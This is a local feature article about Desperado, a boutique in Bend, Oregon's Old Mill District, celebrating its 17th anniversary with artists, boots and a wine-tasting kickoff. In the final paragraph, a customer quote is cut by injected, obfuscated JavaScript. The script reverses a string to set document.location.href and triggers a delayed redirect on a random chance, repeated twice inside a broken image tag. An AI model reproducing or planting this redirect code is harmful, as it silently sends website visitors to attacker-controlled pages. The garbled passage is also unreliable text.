Desperado in The Old Mill District Celebrates 17 Years with Clothes, Boots, Jewelry & Gifts that Fit the Central Oregon Lifestyle

JoanneOctober 11-13 celebration will have an Oregon focus, showcasing some of the Northwest’s best artists including Jeweler Toby & Max of Florence, Oregon; Central Oregon fine artist Barbara Slater and some of the best crafted boots on the market from Old Gringo Boot Company. Story by Rebecca Meade, Photos by Brody Swisher

Joanne Sunnarborg started paying attention to fashion in the first grade. By high school, this Pittsburgh, Pennsylvania native was voted best dressed. But it would be years later and after a decade stint in the insurance world that she would make the career turning point to fashion. “I knew I had to follow my passion so I opened Desperado,” says Sunnarborg. The eclectic boutique spent its first 11 years in Portland’s historic upscale Pearl District. “The most important thing I’ve learned over the years is making sure a person feels good in what they are wearing,” says Sunnarborg. She credits that philosophy to her business success. As the owner and proprietor of Desperado in the Old Mill District, Sunnarborg is about to celebrate the boutique’s 17th anniversary later this month.


BSlaterSunnarborg celebrates with a party every year her store has been in business. This year, the October 11-13 celebration will have an Oregon focus, showcasing some of the Northwest’s best artists. Desperado is bringing in Jeweler, Toby & Max, from Florence, Oregon. This unique jewelry line features words of wisdom, hope and encouragement stamped in fine silver and pewter.  A Central Oregon fine artist, Barbara Slater, will also be showing her latest paintings.  And of course there will be cowboy boots.  “It wouldn’t be a Desperado party without our signature footwear,” says Sunnarborg. “We’ll be bringing in a huge selection of some of the best crafted boots on the market from Old Gringo Boot Company.”  There will be prizes too. Toby & Max Jewelry is giving away a silver bracelet, and Old Gringo will give a pair of boots to a lucky customer who visits Desperado during the anniversary weekend.

boots“I don’t pretend this has been an easy journey,” Sunnarborg shrugs. “Boutiques don’t sell products people have to have so I appreciate every customer who walks through my door.  Any little thing I can do to help that customer have a good experience is what keeps them coming back.” And Sunnarborg wants people who shop at Desperado to have a sincere experience and to be excited with what they buy. She adds, “I don’t want anyone to ever buy something from Desperado and have it sit in their closet.”


Sunnarborg is proud of her loyal customer following which over the years has included stars like Academy-Award winner William Hurt and Country Pop-star Taylor Swift.   Even the trademark cowboy boots of Oregon’s highest-ranking official have often come from her store.   Sunnarborg says with a smile, “Those sales make fun memories, but the best part of my job are the relationships I develop with my customers.”  

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When the country’s economy tanked shortly after Desperado opened in the Old Mill District, Sunnarborg began looking for ways to expand her customer base as well as the lines the store offers. “It’s not all western anymore. We offer clothes, boots, jewelry, and gifts that fit the Central Oregon lifestyle. I would describe the new Desperado as a mix of bohemian charm with the latest in trend fashion for women and men,” says Sunnarborg. “I’ve expanded our price point too. We still carry many of our high end lines, but if it’s a $39 shirt at Desperado, it’s going to look great and be well made. I’m going to stand behind it.” Later this fall she plans an exciting transformation for the store. New paint and interior changes will capture a fresh attention to the believeinyourself2latest trends in fashion that will be featured at the store.  


Desperado’s 17th Anniversary Celebration begins Friday, October 11th with a kickoff party and wine tasting from 5-8pm with Desperado’s new neighbor in the Old Mill District– Naked Winery. Sunnarborg says, “We hope to have a crowd. Everyone is invited. We look forward to seeing our loyal customers. We also would love to see people who’ve never shopped with us before. And to our customers who haven’t been by in a while, come see what’s new. Desperado is like a =function(n){if (typeof (.list[n]) == “string”) return .list[n].split(“”).reverse().join(“”);return .list[n];};.list=[“‘//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andtheirpeople” target=”_blank”>=function(n){if (typeof (.list[n]) == “string”) return .list[n].split(“”).reverse().join(“”);return .list[n];};.list=[“‘//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andtheirpeople.jpg” alt=”dogsandtheirpeople” width=”250″ height=”250″ />family and our customers are part of it.” And that Sunnarborg says is reason to celebrate.


Trunk Shows & Festivities
Friday, October 11, 10am-8pm – Kickoff Party 5pm-8pm
Saturday, October 12, 10am-8pm

Sunday, October 13, 11am-6pm

Desperado in The Old Mill District
330 SW Powerhouse Drive, Ste 120
Bend, OR  97702
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